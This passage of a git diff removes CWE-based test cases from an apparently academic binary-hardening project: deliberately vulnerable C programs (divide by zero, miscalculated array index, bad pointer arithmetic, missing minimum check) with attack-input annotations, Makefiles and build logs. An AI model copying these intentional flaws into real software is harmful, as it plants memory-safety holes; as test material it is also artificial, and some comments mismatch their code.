a connected TCP socket */ - -int getBigEndianInt(int num) -{ - return INT_little_endian_TO_big_endian(num); -} - -int main(int argc, char **argv) -{ - -int num; -num = getBigEndianInt(atoi(argv[1])); - -#ifdef SAFE -num = ntohl(num); -#endif - -printf("We recieved %d from the network!\n", num); -if (num != atoi(argv[1])) exit(1); -exit(0); -} - - -/* -The ntohl() function (network to host long) translates a uint32_t value into -the host byte ordering from the network byte ordering. This function is always -appropriate to use because its implementation depends upon the specific systems -byte ordering. Consequently, on a big endian architecture, ntohl() does -nothing. The reciprocal function htonl() (host to network long) should be used -before sending any data to another system over network protocols. - -Portability Details: -ntohs(), ntohl(), htons(), and htonl() are not part of the C standard and are, -consequently, not guaranteed to be portable to non-POSIX systems. The POSIX -implementations of ntohs(), ntohl(), htons() and htonl() take arguments of -types uint16_t and uint32_t and can be found in the header file <arpa/inet.h>. -The Windows implementations use unsigned short and unsigned long and can be -found in the header file <winsock2.h>. Other variants of ntoht() and htont() -may exist on some systems, such as ntohi()/htoni() or ntohll()/htonll(). -*/ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_bad.c deleted file mode 100644 index 249f9484e52cc764ff40e009df012e46088ec38c..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_bad.c +++ /dev/null @@ -1,49 +0,0 @@ -/* -Divide By Zero - -Description Summary -The product divides a value by zero. - -Extended Description -This weakness typically occurs when an unexpected value is provided to the -product, or if an error occurs that is not properly detected. It frequently -occurs in calculations involving physical dimensions such as size, length, -width, and height. - -Example 3 -The following C# example contains a function that divides two numeric values -without verifying that the input value used as the denominator is not zero. -This will create an error for attempting to divide by zero, if this error is -not caught by the error handling capabilities of the language, unexpected -results can occur. -(Bad Code)Example Language: C - -@BAD_ARGS 17 0 -@GOOD_ARGS 5 5 -@ATTACK_SUCCEEDED_CODE 136 - -*/ - -#include <stdio.h> -#include <stdlib.h> -#ifdef ASSERT - #include <assert.h> -#endif - -int Division(int x, int y) -{ - return (x / y); -} - -int main(int argc, char **argv) -{ - if (argc < 3) exit(2); - int a = atoi(argv[1]); - int b = atoi(argv[2]); - int c = Division(a, b); -#ifdef ASSERT - assert(b != 0); -#endif - - exit(0); -} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_good.c b/examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_good.c deleted file mode 100644 index 8e97d13dcf0096e12ca32f3f5ec461a825f2135d..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_good.c +++ /dev/null @@ -1,44 +0,0 @@ -/* -Divide By Zero - -Description Summary -The product divides a value by zero. - -Extended Description -This weakness typically occurs when an unexpected value is provided to the -product, or if an error occurs that is not properly detected. It frequently -occurs in calculations involving physical dimensions such as size, length, -width, and height. - -Example 3 -The following C example contains a function that divides two numeric values -without verifying that the input value used as the denominator is not zero. -This will create an error for attempting to divide by zero, if this error is -not caught by the error handling capabilities of the language, unexpected -results can occur. -(Bad Code)Example Language: C# - -@SAFE -@GOOD_ARGS 5 5 -@BAD_ARGS 17 0 -@NORMAL_ERROR_CODE 0 - -*/ - -#include <stdio.h> -#include <stdlib.h> - -int SafeDivision(int x, int y) -{ - if (y == 0) return 0; - return (x / y); -} - -int main(int argc, char **argv) -{ - if (argc < 3) exit(2); - int a = atoi(argv[1]); - int b = atoi(argv[2]); - int c = SafeDivision(a, b); - exit(0); -} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_369/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_369/Makefile deleted file mode 100644 index a2f489b2d773f26250d698b4c8cafa150819e19c..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_369/Makefile +++ /dev/null @@ -1,45 +0,0 @@ -# DO NOT EDIT - This Makefile automatically generated -include ../../Makefile.options -include $(wildcard Makefile.options) - -all: runall - -test: - ../../../scripts/test.pl $(TESTFLAGS) . - -CWE_369_Example_1_bad.ncexe: CWE_369_Example_1_bad.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_369_Example_1_bad.conf - -CWE_369_Example_1_bad: CWE_369_Example_1_bad.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_369_Example_1_bad.ps_analyze.log - cp CWE_369_Example_1_bad.conf CWE_369_Example_1_bad.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_369_Example_1_bad.conf - -CWE_369_Example_1_bad.run: CWE_369_Example_1_bad - ../../../scripts/test.pl $(TESTFLAGS) CWE_369_Example_1_bad.ncexe - -CWE_369_Example_1_good.ncexe: CWE_369_Example_1_good.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_369_Example_1_good.conf - -CWE_369_Example_1_good: CWE_369_Example_1_good.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_369_Example_1_good.ps_analyze.log - cp CWE_369_Example_1_good.conf CWE_369_Example_1_good.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_369_Example_1_good.conf - -CWE_369_Example_1_good.run: CWE_369_Example_1_good - ../../../scripts/test.pl $(TESTFLAGS) CWE_369_Example_1_good.ncexe - -clean: - rm -f CWE_369_Example_1_bad.ncexe CWE_369_Example_1_good.ncexe - rm -f CWE_369_Example_1_bad CWE_369_Example_1_good - rm -f summary.csv logfail.txt logfile.txt CWE_369_Example_1_bad.asm CWE_369_Example_1_bad.idb CWE_369_Example_1_bad.ncexe* stratafier.o.exe *.conf CWE_369_Example_1_good.asm CWE_369_Example_1_good.idb CWE_369_Example_1_good.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log - rm -rf peasoup_executable_directory* - -targets: CWE_369_Example_1_bad.ncexe CWE_369_Example_1_good.ncexe - -analyze: targets CWE_369_Example_1_bad CWE_369_Example_1_good - -runall: CWE_369_Example_1_bad.run CWE_369_Example_1_good.run - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_1_bad.c deleted file mode 100644 index 1772a5d1cd4496b00b9ac5d76850d95fda021492..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_1_bad.c +++ /dev/null @@ -1,37 +0,0 @@ -/* -Description Summary -The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management. - -Extended Description -When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution. - -@BAD_ARGS 2000 -@ATTACK_SUCCEEDED_CODE 139 - -*/ - -/*Example 1 - -The following image processing code allocates a table for images. - -(Bad Code)Example Language: C -*/ - -#include<stdlib.h> -//#include<iostream> - -int main(int argc, char** argv){ - - int bank[1000]; - int user = atoi(argv[1]); - int account = user*2+5; //calculation is wrong if input is too negative or too high -// bank[account] = 1234; - - printf("You are trying to access user %d, his account is number %d\n",user,account); - printf("The balance is $%d\n",bank[account]); -} -//... -/* -This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119). - -*/ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_3_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_3_bad.c deleted file mode 100644 index e0cea472ad86fc0773e0f580d1e15cfa3b294091..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_3_bad.c +++ /dev/null @@ -1,38 +0,0 @@ -/* -Description Summary -The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management. - -Extended Description -When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution. - -@BAD_ARGS 3 -@ATTACK_SUCCEEDED_CODE 139 - - -Example 3 - -This example, taken from CWE-462, attempts to calculate the position of the second byte of a pointer. - -(Bad Code)Example Language: C -*/ - -//bme:expanading exmaple to be functional - -#include<stdlib.h> - -int main(int argc, char** argv){ - - int p = atoi(argv[1]); - char *second_char; - second_char = (char *)(p+1); - - printf("We know p is %d\n", p); - printf("We found out that the second character of p is %c.\n",*second_char); -} - - - -/* -In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment. - -*/ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_682/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_682/Makefile deleted file mode 100644 index 8f3a3bde3eeaf408b35ae81f6d7e2fd3b19c90ba..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_682/Makefile +++ /dev/null @@ -1,45 +0,0 @@ -# DO NOT EDIT - This Makefile automatically generated -include ../../Makefile.options -include $(wildcard Makefile.options) - -all: runall - -test: - ../../../scripts/test.pl $(TESTFLAGS) . - -CWE_682_Example_1_bad.ncexe: CWE_682_Example_1_bad.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_682_Example_1_bad.conf - -CWE_682_Example_1_bad: CWE_682_Example_1_bad.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_682_Example_1_bad.ps_analyze.log - cp CWE_682_Example_1_bad.conf CWE_682_Example_1_bad.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_682_Example_1_bad.conf - -CWE_682_Example_1_bad.run: CWE_682_Example_1_bad - ../../../scripts/test.pl $(TESTFLAGS) CWE_682_Example_1_bad.ncexe - -CWE_682_Example_3_bad.ncexe: CWE_682_Example_3_bad.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_682_Example_3_bad.conf - -CWE_682_Example_3_bad: CWE_682_Example_3_bad.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_682_Example_3_bad.ps_analyze.log - cp CWE_682_Example_3_bad.conf CWE_682_Example_3_bad.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_682_Example_3_bad.conf - -CWE_682_Example_3_bad.run: CWE_682_Example_3_bad - ../../../scripts/test.pl $(TESTFLAGS) CWE_682_Example_3_bad.ncexe - -clean: - rm -f CWE_682_Example_1_bad.ncexe CWE_682_Example_3_bad.ncexe - rm -f CWE_682_Example_1_bad CWE_682_Example_3_bad - rm -f summary.csv logfail.txt logfile.txt CWE_682_Example_1_bad.asm CWE_682_Example_1_bad.idb CWE_682_Example_1_bad.ncexe* stratafier.o.exe *.conf CWE_682_Example_3_bad.asm CWE_682_Example_3_bad.idb CWE_682_Example_3_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log - rm -rf peasoup_executable_directory* - -targets: CWE_682_Example_1_bad.ncexe CWE_682_Example_3_bad.ncexe - -analyze: targets CWE_682_Example_1_bad CWE_682_Example_3_bad - -runall: CWE_682_Example_1_bad.run CWE_682_Example_3_bad.run - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.c deleted file mode 100644 index 955d1e2ef347b23f3c7a4688fc5595632dfcdd29..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.c +++ /dev/null @@ -1,36 +0,0 @@ -/* -Description Summary -The program checks a value to ensure that it does not exceed a maximum, but it does not verify that the value exceeds the minimum. - -Extended Description -Some programs use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption. - -The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account. - -@GOOD_ARGS 35 -@NORMAL_OUTPUT_CONTAINS n is between -@BAD_ARGS -35 -@ATTACK_SUCCEEDED_OUTPUT_NOT_CONTAINS n is NOT between - -*/ - -#include <stdio.h> -#include <stdlib.h> - -int ok(int n) -{ - return (n < 50); -} - -int main(int argc, char **argv) -{ - if (ok(atoi(argv[1]))) - { - printf("n is between 0 and 50\n"); - } - else - { - printf("n is NOT between 0 and 50\n"); - } - exit(0); -} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.conf b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.conf deleted file mode 100644 index 77fc4a74f7142cc9ffd252af13646d86e1875502..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.conf +++ /dev/null @@ -1,2 +0,0 @@ -cc -fno-stack-protector -static CWE_839_Example_1_bad.c -o CWE_839_Example_1_bad.ncexe -sh /home/jdh8d/peasoup/uva/peasoup.home.trunk/tools/ps_analyze.sh CWE_839_Example_1_bad.ncexe CWE_839_Example_1_bad diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe deleted file mode 100755 index a11d916693b4f3614ca13b62f18c8245a7521ed4..0000000000000000000000000000000000000000 Binary files a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe and /dev/null differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe.conf b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe.conf deleted file mode 100644 index 1229c6e269ccbc1064fa02798df7dd3ac7aa03ac..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe.conf +++ /dev/null @@ -1 +0,0 @@ -cc -fno-stack-protector -static CWE_839_Example_1_bad.c -o CWE_839_Example_1_bad.ncexe diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ps_analyze.log b/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ps_analyze.log deleted file mode 100644 index 2e76896ec100bca9728ffc13c3e2179545967c04..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ps_analyze.log +++ /dev/null @@ -1,152 +0,0 @@ -+ error_threshold=0 -+ date --iso-8601=seconds -+ ps_starttime=2011-10-10T06:20:31-0700 -+ stepnum=0 -+ check_environ_vars PEASOUP_HOME SMPSA_HOME STRATA_HOME SECURITY_TRANSFORMS_HOME IDAROOT -+ [ true ] -+ [ -z PEASOUP_HOME ] -+ varg=$PEASOUP_HOME -+ eval val=$PEASOUP_HOME -+ val=/home/jdh8d/peasoup/uva/peasoup.home.trunk -+ [ -z /home/jdh8d/peasoup/uva/peasoup.home.trunk ] -+ shift -+ [ true ] -+ [ -z SMPSA_HOME ] -+ varg=$SMPSA_HOME -+ eval val=$SMPSA_HOME -+ val=/home/jdh8d/peasoup/uva/SMPStaticAnalyzer -+ [ -z /home/jdh8d/peasoup/uva/SMPStaticAnalyzer ] -+ shift -+ [ true ] -+ [ -z STRATA_HOME ] -+ varg=$STRATA_HOME -+ eval val=$STRATA_HOME -+ val=/home/jdh8d/peasoup/uva/strata_head -+ [ -z /home/jdh8d/peasoup/uva/strata_head ] -+ shift -+ [ true ] -+ [ -z SECURITY_TRANSFORMS_HOME ] -+ varg=$SECURITY_TRANSFORMS_HOME -+ eval val=$SECURITY_TRANSFORMS_HOME -+ val=/home/jdh8d/peasoup/uva/security_transforms.trunk -+ [ -z /home/jdh8d/peasoup/uva/security_transforms.trunk ] -+ shift -+ [ true ] -+ [ -z IDAROOT ] -+ varg=$IDAROOT -+ eval val=$IDAROOT -+ val=/home/jdh8d/peasoup/uva/idapro61/ida -+ [ -z /home/jdh8d/peasoup/uva/idapro61/ida ] -+ shift -+ [ true ] -+ [ -z ] -+ return -+ check_files /home/jdh8d/peasoup/uva/peasoup.home.trunk/tools/getsyms.sh /home/jdh8d/peasoup/uva/SMPStaticAnalyzer/SMP-analyze.sh /home/jdh8d/peasoup/uva/strata_head/tools/pc_confinement/stratafy_with_pc_confine.sh -+ [ true ] -+ [ -z /home/jdh8d/peasoup/uva/peasoup.home.trunk/tools/getsyms.sh ] -+ [ ! -f /home/jdh8d/peasoup/uva/peasoup.home.trunk/tools/getsyms.sh ] -+ shift -+ [ true ] -+ [ -z /home/jdh8d/peasoup/uva/SMPStaticAnalyzer/SMP-analyze.sh ] -+ [ ! -f /home/jdh8d/peasoup/uva/SMPStaticAnalyzer/SMP-analyze.sh ] -+ shift -+ [ true ] -+ [ -z /home/jdh8d/peasoup/uva/strata_head/tools/pc_confinement/stratafy_with_pc_confine.sh ] -+ [ ! -f /home/jdh8d/peasoup/uva/strata_head/tools/pc_confinement/stratafy_with_pc_confine.sh ] -+ shift -+ [ true ] -+ [ -z ] -+ return -+ [ -z CWE_839_Example_1_bad ] -+ orig_exe=CWE_839_Example_1_bad.ncexe -+ newname=a -+ shift -+ stratafied_exe=CWE_839_Example_1_bad -+ shift -+ check_options -+ getopt -o s: --long step: --long manual_test_script: -n ps_analyze.sh -- -+ TEMP= -- -+ [ 0 != 0 ] -+ eval set -- -- -+ set -- -- -+ true -+ shift -+ break -+ [ -z ] -+ phases_off= manual_test=off -+ [ ! -z ] -+ [ ! -z ] -+ basename CWE_839_Example_1_bad.ncexe -+ name=CWE_839_Example_1_bad.ncexe -+ newdir=peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585 -+ mkdir peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585 -+ cp CWE_839_Example_1_bad.ncexe peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.ncexe -+ rm -f CWE_839_Example_1_bad -+ cd peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585 -+ mkdir logs -+ perform_step stratafy_with_pc_confine sh /home/jdh8d/peasoup/uva/strata_head/tools/pc_confinement/stratafy_with_pc_confine.sh a.ncexe a.stratafied -+ step=stratafy_with_pc_confine -+ shift -+ command=sh /home/jdh8d/peasoup/uva/strata_head/tools/pc_confinement/stratafy_with_pc_confine.sh a.ncexe a.stratafied -+ is_step_on stratafy_with_pc_confine -+ step=stratafy_with_pc_confine -+ echo manual_test=off -+ egrep stratafy_with_pc_confine=off -+ [ 1 -eq 0 ] -+ return 1 -+ [ 1 -eq 0 ] -+ logfile=logs/stratafy_with_pc_confine.log -+ echo -n Performing step stratafy_with_pc_confine ... -Performing step stratafy_with_pc_confine ...+ date --iso-8601=seconds -+ starttime=2011-10-10T06:20:31-0700 -+ [ ! -z 1 ] -+ sh /home/jdh8d/peasoup/uva/strata_head/tools/pc_confinement/stratafy_with_pc_confine.sh a.ncexe a.stratafied+ -tee logs/stratafy_with_pc_confine.log -infile is a.ncexe -outfile is tmp.exe.6597 -stratafier_file is -Executable sections are .init .text __libc_freeres_fn .fini -a.ncexe-.init 8048138 000030 -a.ncexe-.text 8048170 05e9dc -a.ncexe-__libc_freeres_fn 80a6b50 000b57 -a.ncexe-.fini 80a76a8 00001c -EOF 0 0 -cp tmp.exe.6597 ./exe_copy.temp -cp /home/jdh8d/peasoup/uva/stratafier/stratafier.o ./strata_exe.temp -Original entry point is 0x8048170 -ld --section-start .note.ABI-tag=0x90c90d4 --section-start .init=0x90c90f4 /home/jdh8d/peasoup/uva/stratafier/stratafier.o -T/home/jdh8d/peasoup/uva/stratafier/test_ld_script -o /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe -static -/home/jdh8d/peasoup/uva/stratafier/strata_to_data /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe strata.linked.data 0x90c9000 -address=90c9000 -Found nobits seg .bss -Found nobits seg __libc_freeres_ptrs -ls: cannot access new.exe: No such file or directory -/home/jdh8d/peasoup/uva/binutils-2.19/binutils/objcopy --add-segment .strata=PT_LOAD,0x90c9000,0,0,7,1000 --add-section .strata=strata.linked.data --change-section-address .strata=0x90c9000 --set-section-flags .strata=alloc ./exe_copy.temp new.exe -Adding segment name=.strata, properties=PT_LOAD,0x90c9000,0,0,7,1000adding segment .strata with type=1, vaddr=90c9000, filesz=0, memsz=0, flags=7, align=4096 -Adding .strata as section 0 - -objcopy --set-start 0x090c9220 new.exe -infile is a.ncexe -outfile is tmp.exe.6597 -stratafier_file is stratafier.o.exe -Executable sections are .init .text __libc_freeres_fn .fini -[STRATA TRANSLATED START: 090c9290] -a.ncexe-.init 8048138 000030 -a.ncexe-.text 8048170 05e9dc -a.ncexe-__libc_freeres_fn 80a6b50 000b57 -a.ncexe-.fini 80a76a8 00001c -strata_translated_startup 090c9290 7 -EOF 0 0 -cp tmp.exe.6597 ./exe_copy.temp -cp /home/jdh8d/peasoup/uva/stratafier/stratafier.o ./strata_exe.temp -Original entry point is 0x8048170 -ld --section-start .note.ABI-tag=0x90c90d4 --section-start .init=0x90c90f4 /home/jdh8d/peasoup/uva/stratafier/stratafier.o -T/home/jdh8d/peasoup/uva/stratafier/test_ld_script -o /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe -static -/home/jdh8d/peasoup/uva/stratafier/strata_to_data /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe strata.linked.data 0x90c9000 -address=90c9000 -Found nobits seg .bss -Found nobits seg __libc_freeres_ptrs -/home/jdh8d/peasoup/uva/binutils-2.19/binutils/objcopy --add-segment .strata=PT_LOAD,0x90c9000,3677042,3677042,7,1000 --add-section .strata=strata.linked.data --change-section-address .strata=0x90c9000 --set-section-flags .strata=alloc ./exe_copy.temp new.exe -Adding segment name=.strata, properties=PT_LOAD,0x90c9000,3677042,3677042,7,1000adding segment .strata with type=1, vaddr=90c9000, filesz=57110594, memsz=57110594, flags=7, align=4096 -Adding .strata as section 0 - -objcopy --set-start 0x090c9220 new.exe -/home/jdh8d/peasoup/uva/peasoup.home.trunk/tools/ps_analyze.sh: 1: Bad substitution diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_839/Makefile deleted file mode 100644 index e5a3bb3fbca87f836aa1aff230700474c2289fa3..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_839/Makefile +++ /dev/null @@ -1,33 +0,0 @@ -# DO NOT EDIT - This Makefile automatically generated -include ../../Makefile.options -include $(wildcard Makefile.options) - -all: runall - -test: - ../../../scripts/test.pl $(TESTFLAGS) . - -CWE_839_Example_1_bad.ncexe: CWE_839_Example_1_bad.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_839_Example_1_bad.conf - -CWE_839_Example_1_bad: CWE_839_Example_1_bad.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_839_Example_1_bad.ps_analyze.log - cp CWE_839_Example_1_bad.conf CWE_839_Example_1_bad.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_839_Example_1_bad.conf - -CWE_839_Example_1_bad.run: CWE_839_Example_1_bad - ../../../scripts/test.pl $(TESTFLAGS) CWE_839_Example_1_bad.ncexe - -clean: - rm -f CWE_839_Example_1_bad.ncexe - rm -f CWE_839_Example_1_bad - rm -f summary.csv logfail.txt logfile.txt CWE_839_Example_1_bad.asm CWE_839_Example_1_bad.idb CWE_839_Example_1_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log - rm -rf peasoup_executable_directory* - -targets: CWE_839_Example_1_bad.ncexe - -analyze: targets CWE_839_Example_1_bad - -runall: CWE_839_Example_1_bad.run - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.ncexe b/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.ncexe deleted file mode 100755 index a11d916693b4f3614ca13b62f18c8245a7521ed4..0000000000000000000000000000000000000000 Binary files a/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.ncexe and /dev/null differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.stratafied.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.stratafied.REMOVED.git-id deleted file mode 100644 index 74f474280489b19cddb1ce3fde210651b964523b..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.stratafied.REMOVED.git-id +++ /dev/null @@ -1 +0,0 @@ -d55c175421c438acdb90c76d1915e9cd04ddc71a \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/logs/stratafy_with_pc_confine.log b/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/logs/stratafy_with_pc_confine.log deleted file mode 100644 index 6afde8ed0c0b5f7c2a47274bdb78b8c8ab30e7cc..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/logs/stratafy_with_pc_confine.log +++ /dev/null @@ -1,47 +0,0 @@ -infile is a.ncexe -outfile is tmp.exe.6597 -stratafier_file is -Executable sections are .init .text __libc_freeres_fn .fini -a.ncexe-.init 8048138 000030 -a.ncexe-.text 8048170 05e9dc -a.ncexe-__libc_freeres_fn 80a6b50 000b57 -a.ncexe-.fini 80a76a8 00001c -EOF 0 0 -cp tmp.exe.6597 ./exe_copy.temp -cp /home/jdh8d/peasoup/uva/stratafier/stratafier.o ./strata_exe.temp -Original entry point is 0x8048170 -ld --section-start .note.ABI-tag=0x90c90d4 --section-start .init=0x90c90f4 /home/jdh8d/peasoup/uva/stratafier/stratafier.o -T/home/jdh8d/peasoup/uva/stratafier/test_ld_script -o /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe -static -/home/jdh8d/peasoup/uva/stratafier/strata_to_data /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe strata.linked.data 0x90c9000 -address=90c9000 -Found nobits seg .bss -Found nobits seg __libc_freeres_ptrs -ls: cannot access new.exe: No such file or directory -/home/jdh8d/peasoup/uva/binutils-2.19/binutils/objcopy --add-segment .strata=PT_LOAD,0x90c9000,0,0,7,1000 --add-section .strata=strata.linked.data --change-section-address .strata=0x90c9000 --set-section-flags .strata=alloc ./exe_copy.temp new.exe -Adding segment name=.strata, properties=PT_LOAD,0x90c9000,0,0,7,1000adding segment .strata with type=1, vaddr=90c9000, filesz=0, memsz=0, flags=7, align=4096 -Adding .strata as section 0 - -objcopy --set-start 0x090c9220 new.exe -infile is a.ncexe -outfile is tmp.exe.6597 -stratafier_file is stratafier.o.exe -Executable sections are .init .text __libc_freeres_fn .fini -[STRATA TRANSLATED START: 090c9290] -a.ncexe-.init 8048138 000030 -a.ncexe-.text 8048170 05e9dc -a.ncexe-__libc_freeres_fn 80a6b50 000b57 -a.ncexe-.fini 80a76a8 00001c -strata_translated_startup 090c9290 7 -EOF 0 0 -cp tmp.exe.6597 ./exe_copy.temp -cp /home/jdh8d/peasoup/uva/stratafier/stratafier.o ./strata_exe.temp -Original entry point is 0x8048170 -ld --section-start .note.ABI-tag=0x90c90d4 --section-start .init=0x90c90f4 /home/jdh8d/peasoup/uva/stratafier/stratafier.o -T/home/jdh8d/peasoup/uva/stratafier/test_ld_script -o /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe -static -/home/jdh8d/peasoup/uva/stratafier/strata_to_data /home/jdh8d/peasoup/uva/stratafier/stratafier.o.exe strata.linked.data 0x90c9000 -address=90c9000 -Found nobits seg .bss -Found nobits seg __libc_freeres_ptrs -/home/jdh8d/peasoup/uva/binutils-2.19/binutils/objcopy --add-segment .strata=PT_LOAD,0x90c9000,3677042,3677042,7,1000 --add-section .strata=strata.linked.data --change-section-address .strata=0x90c9000 --set-section-flags .strata=alloc ./exe_copy.temp new.exe -Adding segment name=.strata, properties=PT_LOAD,0x90c9000,3677042,3677042,7,1000adding segment .strata with type=1, vaddr=90c9000, 